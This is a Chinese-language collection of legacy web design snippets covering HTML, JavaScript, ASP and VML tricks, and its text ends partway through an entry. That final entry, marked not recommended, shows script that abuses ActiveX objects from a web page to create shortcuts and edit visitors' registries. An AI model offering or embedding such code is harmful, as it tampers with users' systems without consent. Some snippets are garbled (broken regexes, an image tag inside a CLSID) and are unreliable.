网页设计常用代码荟萃
图片忽隐忽显
把如下代码加入<body>区域中
<script language=javascript>
// Flash Image Extension for Dreamwever ,by Yichun Yuan(dezone@sina.com)
nereidFadeObjects = new Object();
nereidFadeTimers = new Object();
function nereidFade(object, destOp, rate, delta){
if (!document.all)
return
if (object != "[object]"{ //do this so I can take a string too
setTimeout("nereidFade("+object+","+destOp+","+rate+","+delta+"",0);
return;
}
clearTimeout(nereidFadeTimers[object.sourceIndex]);
diff = destOp-object.filters.alpha.opacity;
direction = 1;
if (object.filters.alpha.opacity > destOp){
direction = -1;
}
delta=Math.min(direction*diff,delta);
object.filters.alpha.opacity+=direction*delta;
if (object.filters.alpha.opacity != destOp){
nereidFadeObjects[object.sourceIndex]=object;
nereidFadeTimers[object.sourceIndex]=setTimeout("nereidFade(nereidFadeObjects["+object.sourceIndex+"],"+destOp+","+rate+","+delta+"",rate);
}
}
</script>
<a href=#><img src="photoshopcn.jpg" border=0 onMouseOut=nereidFade(this,50,10,5) onMouseOver=nereidFade(this,100,10,5) style="FILTER: alpha(opacity=40)"></a>
input高级限制级用法
1.取消按钮按下时的虚线框
在input里添加属性值 hideFocus 或者 HideFocus=true
2.只读文本框内容
在input里添加属性值 readonly
3.防止退后清空的TEXT文档(可把style内容做做为类引用)
<INPUT style=behavior:url(#default#savehistory); type=text id=oPersistInput>
4.ENTER键可以让光标移到下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9" >
5.只能为中文(有闪动)
<input onkeyup="value=value.replace(/[ -~]/g,'')" onkeydown="if(event.keyCode==13)event.keyCode=9">
6.只能为数字(有闪动)
<input onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))">
7.只能为数字(无闪动)
<input style="ime-mode:disabled" onkeydown="if(event.keyCode==13)event.keyCode=9" onKeyPress="if ((event.keyCode<48 || event.keyCode>57)) event.returnValue=false">
8.只能输入英文和数字(有闪动)
<input onkeyup="value=value.replace(/[\W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))">
9.屏蔽输入法
<input type="text" name="url" style="ime-mode:disabled" onkeydown="if(event.keyCode==13)event.keyCode=9">
10. 只能输入 数字,小数点,减号(-) 字符(无闪动)
<input onKeyPress="if (event.keyCode!=46 && event.keyCode!=45 && (event.keyCode<48 || event.keyCode>57)) event.returnValue=false">
11. 只能输入两位小数,三位小数(有闪动)
<input maxlength=9 onkeyup="if(value.match(/^\d{3}$/))value=value.replace(value,parseInt(value/10)) ;value=value.replace(/\.\d*\./g,'.')" onKeyPress="if((event.keyCode<48 || event.keyCode>57) && event.keyCode!=46 && event.keyCode!=45 || value.match(/^\d{3}$/) || /\.\d{3}$/.test(value)) {event.returnValue=false}" id=text_kfxe name=text_kfxe>
ASP:生成一个不重复的随即数字
Sub CalCaPiao()
Dim strCaiPiaoNoArr() As String
Dim strSQL As String
Dim strCaiPiaoNo As String
strCaiPiaoNo = "01,02,03,04,05,06,07,08,09,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33"
Dim StrTempArr(7) As String
Dim strZhongJiangArr(7) As String
strCaiPiaoNoArr = Split(strCaiPiaoNo, ",")
Dim intRand As Integer
Dim i As Integer
Dim j As Integer
i = 0
Dim find As Boolean
Do While True
find = False
Randomize
intRand = Int((33 * Rnd) + 1)
For j = 0 To i - 1
If StrTempArr(j) = CStr(intRand) Then
find = True
End If
Next
If Not find Then
StrTempArr(j) = CStr(intRand)
strZhongJiangArr(i) = CStr(intRand)
'Text1(i) = strZhongJiangArr(i)
i = i + 1
If i = 7 Then
Exit Do
End If
End If
Loop
End Sub
随机产生用户密码
说明:通过随机产生密码,然后将密码EMail给注册用户,你可以确认用户的EMail填写是否正确。自动产生的密码往往安全性更高,同时,你可以过滤那些无效的用户。
把下面的代码保存为random.asp文件:
<%
Sub StrRandomize(strSeed)
Dim i, nSeed
nSeed = CLng(0)
For i = 1 To Len(strSeed)
nSeed = nSeed Xor ((256 * ((i - 1) Mod 4) * AscB(Mid(strSeed, i, 1))))
Next
Randomize nSeed
End Sub
Function GeneratePassword(nLength)
Dim i, bMadeConsonant, c, nRnd
Const strDoubleConsonants = "bdfglmnpst"
Const strConsonants = "bcdfghklmnpqrstv"
Const strVocal = "aeiou"
GeneratePassword = ""
bMadeConsonant = False
For i = 0 To nLength
nRnd = Rnd
If GeneratePassword <> "" AND (bMadeConsonant <> True) AND (nRnd < 0.15) Then
c = Mid(strDoubleConsonants, Int(Len(strDoubleConsonants) * Rnd + 1), 1)
c = c & c
i = i + 1
bMadeConsonant = True
Else
If (bMadeConsonant <> True) And (nRnd < 0.95) Then
c = Mid(strConsonants, Int(Len(strConsonants) * Rnd + 1), 1)
bMadeConsonant = True
Else
c = Mid(strVocal,Int(Len(strVocal) * Rnd + 1), 1)
bMadeConsonant = False
End If
End If
GeneratePassword = GeneratePassword & c
Next
If Len(GeneratePassword) > nLength Then
GeneratePassword = Left(GeneratePassword, nLength)
End If
End Function
%>
然后在你的目标程序中这样调用上面的代码,就可以实现密码的自动生成:(仅仅是一个例子,你可以把他们粘贴到一个Test.asp的文件中,然后运行Test.asp)
<!--include file="random.asp" -->
<%
'产生一个六位的密码
StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(6)
%>
<br><br>
<%
'产生一个8位的密码
StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(8)
%>
<br><br>
<%
'产生一个10位的密码
StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(10)
%>
<br><br>
<%
'产生1000个密码
dim t, t2
for t = 1 to 500
For t2 = 1 to 661
StrRandomize CStr(Now) & CStr(Rnd)
next
StrRandomize CStr(Now) & CStr(Rnd)
response.write GeneratePassword(6)
response.write "<br>"
next
%>
ASP:用vbscript判断email地址的合法性
这里是一断正则表达式的例子
<%
Function isemail(strng)
isemail = false
Dim regEx, Match ' Create variables.
Set regEx = New RegExp ' Create a regular expression object (stupid, huh?)
regEx.Pattern = "^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$" ' Sets pattern.
regEx.IgnoreCase = True ' Set case insensitivity.
Set Match = regEx.Execute(strng) ' Execute search.
if match.count then isemail= true
End Function
%>
ASP:页面延迟的两个简单方法
一、
<% Response.Buffer = True %>
<%
' Setup the variables necessary to accomplish the task
Dim TimerStart, TimerEnd, TimerNow, TimerWait
' How many seconds do you want them to wait...
TimerWait = 5
' Setup and start the timers
TimerNow = Timer
TimerStart = TimerNow
TimerEnd = TimerStart + TimerWait
' Keep it in a loop for the desired length of time
Do While (TimerNow < TimerEnd)
' Determine the current and elapsed time
TimerNow = Timer
If (TimerNow < TimerStart) Then
TimerNow = TimerNow + 86400
End If
Loop
' Okay times up, lets git em outa here
Response.Redirect "nextpage.html" %>
二、
<%
Sub TimeDelaySeconds(DelaySeconds)
SecCount = 0
Sec2 = 0
While SecCount < DelaySeconds + 1
Sec1 = Second(Time())
If Sec1 <> Sec2 Then
Sec2 = Second(Time())
SecCount = SecCount + 1
End If
Wend
End Sub
%>
ASP:表示代码与逻辑代码分离
<%@ Page Inherits="MyCodeBehind" Src="c2.vb" %>
There is a nice section in the quickstart docs on this topic also. Click here to read up on it!
Here is the code
This example uses the following
MS-SQL Server 7.0 database
Stored Procedure
Component1a.aspx (HTML File)
c2.vb
Component1a.aspx (The Page that is the UI)
<%@ Page Inherits="MyCodeBehind" Src="c2.vb" Debug="True" trace="True" %>
<script language="VB" runat="server">
Sub Page_Load(Sender As Object, E As EventArgs)
response.write("SMILE!!! I love learning new things everyday")
End Sub
</script>
<html>
<head>
<title>Component Page 1</title>
</head>
<body>
<table border=0 cellpadding=3 cellspacing=3>
<tr bgcolor="#CCCCCC">
<td>
<font face="Arial, Helv" size="-1">
Please fill out this form to create a new user profile for your
Company's Component.
<br>
Once this information is gathered you will not need to enter it again and you will be able to update anytime.
<p>
Use the button at the bottom of this page to continue when you are finished.
<br>
</font>
</td>
</tr>
</table>
<font size="+1"><b><font color="#ff0000">*=Required Fields</b><br>
<form method="Post" name="form1" runat="server">
<table> <tr>
<td align=right>
<asp:Label id="Label1" Text="Company Name" Font-Name="Verdana" Font-Size="10pt" Width="200px" BorderStyle="solid" BorderColor="#cccccc" runat="server"/>
</td>
<td>
<asp:TextBox id="CompanyName" size="30" runat="server" />
<asp:RequiredFieldValidator ControlToValidate="CompanyName" Display="Dynamic" errormessage="You must enter your name!" runat=server/>
</td>
</tr>
<tr>
<td align=right>
<asp:Label id="Label2" Text="Company URL" Font-Name="Verdana" Font-Size="10pt" Width="200px" BorderStyle="solid" BorderColor="#cccccc" runat="server"/>
</td>
<td>
<asp:TextBox id="CompanyURL" size="30" runat="server" />
</td>
</tr>
</font>
<tr>
<td align=right>
<asp:Label id="Label3" Text="Contact Email" Font-Name="Verdana" Font-Size="10pt" Width="200px" BorderStyle="solid" BorderColor="#cccccc" runat="server"/>
</td>
<td>
<asp:TextBox id="EmailAddress" size="30" runat="server" maintainstate="false" />
<asp:RegularExpressionValidator ControlToValidate="EmailAddress" ValidationExpression="[\w-]+@[\w-]+\.(com|net|org|edu|mil)" Display="Dynamic" Font-Name="verdana" Font-Size="9pt" ErrorMessage="Must use a valid email address." runat="server"> </asp:RegularExpressionValidator>
<asp:RequiredFieldValidator ControlToValidate="EmailAddress" Display="dynamic" Font-Name="verdana" Font-Size="9pt" ErrorMessage="'Email' must not be left blank." runat=server> </asp:RequiredFieldValidator> </td>
</tr>
</table>
<table border=0 bgcolor="#CCCCCC" cellpadding=3 cellspacing=3 width="490">
<tr>
<td width="100%" colspan="2">
<asp:Button id="Button1" Text="Create Profile" OnClick="Button1_Click" Runat="server"/>
</td>
</tr>
</table>
</form>
</body>
</html>
c2.vb File(This File Contains the business logic that is inherited just like a compiled DLL
Option Strict Off
Imports System
Imports System.DateTime
Imports System.Globalization
Imports System.Data
Imports System.Data.SQL
Imports System.Web.UI
Imports System.Web.UI.WebControls
Imports System.Web.UI.HtmlControls
Public Class MyCodeBehind : Inherits Page
'Declare a public variable to hold the Identity Value
Public strID as String
Public Sub Button1_Click(Sender As Object, E As EventArgs)
If Page.IsValid Then
Dim MyConnection As SQLConnection
MyConnection = New SQLConnection("server=localhost;uid=sa;pwd=;database=aspfree")
'Puts the local date in variable to be written to the database
dim d as dateTime
d = now()
d = d.Date()
'Using the request.form, this retrieves the variables out of the forms collection
Dim MyCommand = New SQLCommand("sp_ComponentCompanyInfo", MyConnection)
MyCommand.CommandType = CommandType.StoredProcedure
MyCommand.Parameters.Add(New SQLParameter("@CompanyName", SQLDataType.VarChar, 50))
MyCommand.Parameters("@CompanyName").Value = request.Form("CompanyName")
MyCommand.Parameters.Add(New SQLParameter("@CompanyURL", SQLDataType.VarChar, 50))
MyCommand.Parameters("@CompanyURL").Value = request.Form("CompanyURL")
MyCommand.Parameters.Add(New SQLParameter("@EmailAddress", SQLDataType.VarChar, 50))
MyCommand.Parameters("@Emailaddress").Value = request.Form("EmailAddress")
MyCommand.Parameters.Add(New SQLParameter("@DateSubmitted", SQLDataType.DateTime, 8))
MyCommand.Parameters("@DateSubmitted").Value = d //stores the date variable!
MyCommand.ActiveConnection.Open()
Dim workParam as SQLParameter
'This line brings back the value using the output method
workParam = myCommand.Parameters.Add(new SQLParameter("@CompanyID", SQLDataType.Int, 4))
workParam.Direction = ParameterDirection.Output
Try
myCommand.Execute()
'This line populates the strID variable with the Identity value
strID = (myCommand.Parameters("@CompanyID").Value.ToString())
Catch myException2 as Exception
Response.Write(myException2.ToString())
finally
End try
MyCommand.ActiveConnection.Close()
dim strURL as string = "component1a.aspx?CategoryID=" & strID
page.navigate(strURL)
End If
End Sub
End Class
Stored Procedure that does the business logic
CREATE PROCEDURE sp_ComponentCompanyInfo
@CompanyName varchar(100),
@CompanyURL varchar(100),
@EmailAddress varchar(100),
@DateSubmitted datetime,
@CompanyID int OUTPUT
AS
INSERT tblComponentCompanyInfo(CompanyName, CompanyURL, EmailAddress,
DateSubmitted)
VALUES (@CompanyName, @CompanyURL, @EmailAddress, @DateSubmitted)
Select @CompanyID = @@Identity
RETURN
DDL that Creates the table
CREATE TABLE [dbo].[tblComponentCompanyInfo] (
[CompanyID] [int] IDENTITY (1, 1) NOT NULL ,
[CompanyName] [varchar] (100) NULL ,
[CompanyURL] [varchar] (100) NULL ,
[EmailAddress] [varchar] (100) NULL ,
[DateSubmitted] [datetime] NULL
) ON [PRIMARY]
GO
ALTER TABLE [dbo].[tblComponentCompanyInfo] WITH NOCHECK ADD
CONSTRAINT [PK_tblComponentCompanyInfo] PRIMARY KEY NONCLUSTERED
(
[CompanyID]
) WITH FILLFACTOR = 90 ON [PRIMARY]
GO
16.怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
17.请问如何忽视右键?
<body oncontextmenu="return false">
18.怎样在同一页面内控制不同链接的CSS属性?
a:active{}
a:link{}
a:visited{}
a.1:active{}
a.1:link{}
a.1:visited{}
在DW4的CSS中定义一个新的标示,按照HTML的语法,超级连接得是
A.YOURS:LINK A.YOURS:HOVER
YOURS可以改作你自己的字
然后在选中某个连接后,在CSS面版中点中YOURS即可。
按需要,你可以定义N个标示,N种鼠标OVER的效果
19.电子邮件处理提交表单
<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">
<input type=submit>
</form>
20.有没有可能用层来遮住FLASH?
1.在flash的parameters里加入 <param name="wmode" value="transparent">
2.<body onblur=self.focus()>
21.如何根据屏幕分辨率调用相对应的页面?
先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的 然后在你的入口页面 index.htm 中判断:
<html>
<head>
<script language=javascript>
<!--
function mHref() {
if (screen.width == 1024) location.href = "htm2.htm";
else if (screen.width == 800) location.href = "htm1.htm";
else return(false);
}
//-->
</script>
</head>
<body onload="mHref();">
</body>
</html>
22.不用询问就关闭浏览器
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body>
<input type="button" value="点击我关闭窗口" onclick="closes.Click();">
</body>
23.如何弹出只有状态栏的窗口?
<html>
<head>
<title>open() close()</title>
<script language="javascript" type="text/javascript">
<!--
function openWin()
{
var newWin=open("","","menubar=1,height=200");
newWin.document.write("<form>");
newWin.document.write("单击以下按钮关闭窗口:<p>");
newWin.document.write("<input type=button value='关闭' onclick=window.close()>");
newWin.document.write("</form>");
}
</script></head>
<body>
<div align=center>
<h2>单击以下按钮显示新窗口...</h2>
<form name=form1>
<input type=button value="新窗口1[只显示地址栏]" onclick=window.open('','new1','location=1')>
<input type=button value="新窗口2[只显示状态栏]" onclick=window.open('','','status=1')>
<input type=button value="新窗口3[只显示工具栏]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>
<input type=button value="新窗口4[只显示菜单栏]" onclick=openWin()>
<input type=button value="新窗口5[一个不少]" onclick=window.open('','new5')>
<input type=button value="新窗口6[光棍但可调大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>
</form>
</div>
</body>
</html>
24.如何改变iframe的src地址
<body>
<input type="button" value="改变地址" onClick="parent.displayinhere.location.href='http://www.gznet.com/'">
<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">
</body>
25.如何让超链接没有下划线
在源代码中的<HEAD>…</HEAD>之间输入如下代码:
<style type="text/css"> <!--
a { text-decoration: none}
--> < /style>
26.页面打开时自动弹出一个窗口的代码怎么写?
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" onLoad="MM_openBrWindow('1212312.htm','','width=400,height=400')">
</body>
</html>
27.请问如何做到让一个网页自动关闭.
<html>
<head>
<OBJECT id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body onload="window.setTimeout('closes.Click()',10000)">
这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>
28.如何让我的页面出现一个会讲话的小人?Merlin
<HTML>
<HEAD>
<TITLE>默林</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
</HEAD>
<BODY>
<p><OBJECT id=sims classid=CLSID<img src="images/smilies/bigsmile.gif" border=0>45FD31B-5C6E-11D1-9EC1-00C04FD7081F>
</OBJECT>
<SCRIPT>
var MerlinID;
var MerlinACS;
sims.Connected = true;
MerlinLoaded = LoadLocalAgent(MerlinID, MerlinACS);
Merlin = sims.Characters.Character(MerlinID);
Merlin.Show();
Merlin.Play("Surprised");
Merlin.Speak("大家好");
Merlin.Play("GestureLeft");
Merlin.Think("我是默林!");
Merlin.Play("Pleased");
Merlin.Think("可爱吗?");
Merlin.Play("GestureDown");
Merlin.Speak("哈哈!");
Merlin.Hide();
function LoadLocalAgent(CharID, CharACS){
LoadReq = sims.Characters.Load(CharID, CharACS);
return(true);
}
</SCRIPT>
</p>
<p> </p>
<p>看此效果必须装有office2000!!!</p>
</BODY>
</HTML>
如果看不到效果或效果有问题,请将代码保存为html文件查看.
这代码中使用的MSAgent仍然属于客户端的控件,在Win98安装PWS时可以安装上一个叫Merlin的精灵,查查你的系统中有没有一个叫做Merlin.acf的文件,应该在一个叫MSAgent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在Win2000中已安装了MSAgent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用Merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫Character Editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的MSAgent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在Server端制作MSAgent的文章,谁有的话,可以告诉我一声。 其中: 用"=number" number是字数/分 例如: Merlin.Speak "=62to the 51js" Merlin.Speak "=160to the 51js" 还有,找到这句: Merlin.LanguageID = 0x409; 改为0x804 (Simplified Chinese) 改为0x404 (Traditional Chinese) 要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!! 最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp MSAgent 下载 http://activex.microsoft.com/activex/controls/agent2/MSagent.exe http://agent.microsoft.com/agent2/chars/Merlin.exe http://agent.microsoft.com/agent2/chars/Peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面?
<META HTTP-EQUIV="Refresh" CONTENT="时间;URL=地址">
30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动
<html><head>
<STYLE>
body {background-image:url(../bihu/pic/logo.gif);
background-repeat:no-repeat; background-position:center }
</STYLE>
</head>
<body bgproperties="fixed" >
</body>
</html>
31.文本输入框什么属性能实现不可输入?
<input type="text" name="textfield" disabled>
或者
<input type="text" name="textfield" readonly>
32.怎样保持layer在最前面,而不被Iframe、Object所覆盖,有什么解决方法?
只要在Layer中再插Iframe 或 Object 设z-Index值
<div z-Index:2><object xxx></object></div> # 前面
<div z-Index:1><object xxx></object></div> # 后面
<div id="Layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>
<div id="Layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>
33.如何让表格并排?
首先在第一个表里应该这样写: "<table border=0 cellpadding=1 cellspacing=1 align=left>" 这table里最为关键是"align=left"这一句。 然后在第二个表里也应该加上align=left 这样,你的目的就达到了。
<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>
<tr>
<td bgcolor="#ffffff"> </td>
</tr>
</table>
[/html]
[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>
<br>还可以排三个
<br>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>
<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>
34.如何让两个form表单行距之间不出现空格?
这样写 <TABLE><FORM><TR>.......</TR></FORM></TABLE>
35.如何让页面自动刷新?
方法一,用refresh
<head>
<meta http-equiv="refresh" content="5">
</head>
5表示刷新时间
方法二,使用setTimeout控制 <script> function rl(){ document.location.reload() } setTimeout(rl,2000) </script>
36.如何给文本连接加上提示语言?
<a href="#" title="我出来拉">click me</a>
37.英文排版的问题:怎么能让英自动排列整齐?
请使用css中的 text-align: justify;
<table style="TABLE-LAYOUT: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">
<tr>
<td style="LEFT: 0px; WIDTH: 100%; text-align: justify"><font color="#990000">[效果]</font><br>
who are you you are a aaa is it comprehention who are you you are a pig is it comprehention
who are you you are a aaa is it comprehention
who are you you are a aaa is it comprehention
</font></td>
</tr>
</table>
38.如何禁止自己的页面在别人的框架里打开?
把以下代码加至你的<head>区
<script>
if (window.top!=self){
window.top.location=self.location
}
</script>
39.在打开的子窗口刷新父窗口的代码里如何写?
window.opener.location.reload()
40.如何不用图片生成圆角的表格?
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv=Content-Type content="text/html; charset=GB2312">
<link rel=Original-File href="文档%201">
<meta name=ProgId content=Word.Document>
<meta name=Generator content="Microsoft Word 9">
<meta name=Originator content="Microsoft Word 9">
<link rel=File-List href="./文档%201.files/filelist.xml">
<link rel=Edit-Time-Data href="./文档%201.files/editdata.mso">
<!--[if !mso]>
<style>
v* {behavior:url(#default#VML);}
o* {behavior:url(#default#VML);}
w* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]--><!--[if gte mso 9]><xml>
<oocumentProperties>
<Author>zhy</Author>
<Template>Normal</Template>
<Revision>1</Revision>
<TotalTime>1</TotalTime>
<Created>2003-05-10T09:20:00Z</Created>
<oages>1</oages>
<Characters>1</Characters>
<Company>yd</Company>
<Lines>1</Lines>
<oaragraphs>1</oaragraphs>
<CharactersWithSpaces>1</CharactersWithSpaces>
<Version>9.2812</Version>
</oocumentProperties>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<wunctuationKerning/>
<wrawingGridVerticalSpacing>7.8 磅</wrawingGridVerticalSpacing>
<wisplayHorizontalDrawingGridEvery>0</wisplayHorizontalDrawingGridEvery>
<wisplayVerticalDrawingGridEvery>2</wisplayVerticalDrawingGridEvery>
<w:Compatibility>
<w:SpaceForUL/>
<w:BalanceSingleByteDoubleByteWidth/>
<woNotLeaveBackslashAlone/>
<w:ULTrailSpace/>
<woNotExpandShiftReturn/>
<w:AdjustLineHeightInTable/>
<w:UseFELayout/>
</w:Compatibility>
<woNotOptimizeForBrowser/>
</w:WordDocument>
</xml><![endif]-->
<style>
<!--
/* Font Definitions */
@font-face
{font-family:宋体;
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-alt:SimSun;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:1 135135232 16 0 262144 0;}
@font-face
{font-family:"@宋体";
panose-1:2 1 6 0 3 1 1 1 1 1;
mso-font-charset:134;
mso-generic-font-family:auto;
mso-font-pitch:variable;
mso-font-signature:1 135135232 16 0 262144 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-parent:"";
margin:0cm;
margin-bottom:.0001pt;
text-align:justify;
text-justify:inter-ideograph;
mso-pagination:none;
font-size:10.5pt;
mso-bidi-font-size:12.0pt;
font-family:"Times New Roman";
mso-fareast-font-family:宋体;
mso-font-kerning:1.0pt;}
/* Page Definitions */
@page
{mso-page-border-surround-header:no;
mso-page-border-surround-footer:no;}
@page Section1
{size:595.3pt 841.9pt;
margin:72.0pt 90.0pt 72.0pt 90.0pt;
mso-header-margin:42.55pt;
mso-footer-margin:49.6pt;
mso-paper-source:0;
layout-grid:15.6pt;}
div.Section1
{page:Section1;}
-->
</style>
<!--[if gte mso 9]><xml>
<shapedefaults v:ext="edit" spidmax="2050"/>
</xml><![endif]--><!--[if gte mso 9]><xml>
<shapelayout v:ext="edit">
<idmap v:ext="edit" data="1"/>
</shapelayout></xml><![endif]-->
</head>
<body lang=ZH-CN style='tab-interval:21.0pt;text-justify-trim:punctuation'>
<div class=Section1 style='layout-grid:15.6pt'>
<p class=MsoNormal><!--[if gte vml 1]><v:shapetype id="_x0000_t176"
coordsize="21600,21600" spt="176" adj="2700" path="m@0,0qx0@0l0@2qy@0,21600l@1,21600qx21600@2l21600@0qy@1,0xe">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="val #0"/>
<v:f eqn="sum width 0 #0"/>
<v:f eqn="sum height 0 #0"/>
<v:f eqn="prod @0 2929 10000"/>
<v:f eqn="sum width 0 @3"/>
<v:f eqn="sum height 0 @3"/>
<v:f eqn="val width"/>
<v:f eqn="val height"/>
<v:f eqn="prod width 1 2"/>
<v:f eqn="prod height 1 2"/>
</v:formulas>
<v:path gradientshapeok="t" limo="10800,10800" connecttype="custom"
connectlocs="@8,0;0,@9;@8,@7;@6,@9" textboxrect="@3,@3,@4,@5"/>
</v:shapetype><v:shape id="_x0000_s1028" type="#_x0000_t176" style='position:absolute;
left:0;text-align:left;margin-left:135pt;margin-top:31.2pt;width:171pt;
height:101.4pt;z-index:1'>
<v:textbox>
<![if !mso]>
<table cellpadding=0 cellspacing=0 width="100%">
<tr>
<td><![endif]>
<div>
<p class=MsoNormal><span style='font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman"'>这个可以算吗</span></p>
</div>
<![if !mso]></td>
</tr>
</table>
<![endif]></v:textbox>
</v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout'>
<table cellpadding=0 cellspacing=0 align=left>
<tr>
<td width=180 height=42></td>
</tr>
<tr>
<td></td>
<td><img width=231 height=138 src="./文档%201.files/image001.gif"
alt=" 这个可以算吗" v:shapes="_x0000_s1028"></td>
</tr>
</table>
</span><![endif]><span lang=EN-US><![if !supportEmptyParas]> <![endif]><p></p></span></p>
</div>
</body>
</html>
41.如何在JavaScript中捕捉错误信息?
<script>
try{
var s=a.b;
}
catch(anError)
{
alert(anError.description);
}
</script>
42.JS正则表达式replace用法
下述示例脚本使用replace方法来转换串中的单词。在替换的文本中,脚本使用全局 RegExp
对象的$1和$2属性的值。注意,在作为第二个参数传递给replace方法的时候,RegExp对象的$属性的名
称。
<SCRIPT LANGUAGE="JavaScript1.2">
re = /(+)(+)/;
str = "John Smith";
newstr=str.replace(re,"$2, $1");
document.write(newstr)
</SCRIPT>
显示结果:"Smith, John".
str.replace(re,"$2, $1");这一句,$2,$1是什么意思?
[font color=blue]下面这个解释我也不大明白,可否帮我解释一下,多谢!{/font]
$1, ..., $9属性
用圆括号括着的匹配子串,如果有的话。
是RegExp的属性
静态,只读
在JavaScript 1.2, NES 3.0以上版本提供
描述:因为input是静态属性,不是个别正则表达式对象的属性。你可以使用RegExp.input 访问该
属性。
能加上圆括号的子串的数量不受限制,但正则表达式对象只能保留最后9 条。如果你要访问所有的
圆括号内的匹配字串,你可以使用返回的数组。
RegExp.$n 保存满足用圆括号括起来的匹配条件的子串
$2是匹配第2个括号,$1是匹配第1个括号,对多层括号嵌套应该如何区分?而且如果超过$1~$9的括号如何匹配?
<script>
var reg=/((+)(+))/;
var str='John Smith';
reg.exec(str);
</script>
<button onclick=with(RegExp)alert($1+''+$2+''+$3);>View</button>
43.如何实现首页全屏幕显示?
<html>
<body><script language="javascript">
var coolw=642
var coolh=400
var coolhuang=window.open("http://www.51js.com","coolhuang","width="+coolw+",height="+coolh+",fullscreen=1,
toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0")
window.close()
</script></body></html>
44.如何动态改变一个Object对象的样式表风格的Class?
<style>
.btn1{
background-color:#990000;color:#ffffff;
}
</style>
<button onclick="this.className='btn1'">你点我一下我的样式表就改为使用.btn1了</button>
45.如何用脚本来修改用户系统的注册表? (★★★★不推荐使用★★★★)
<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
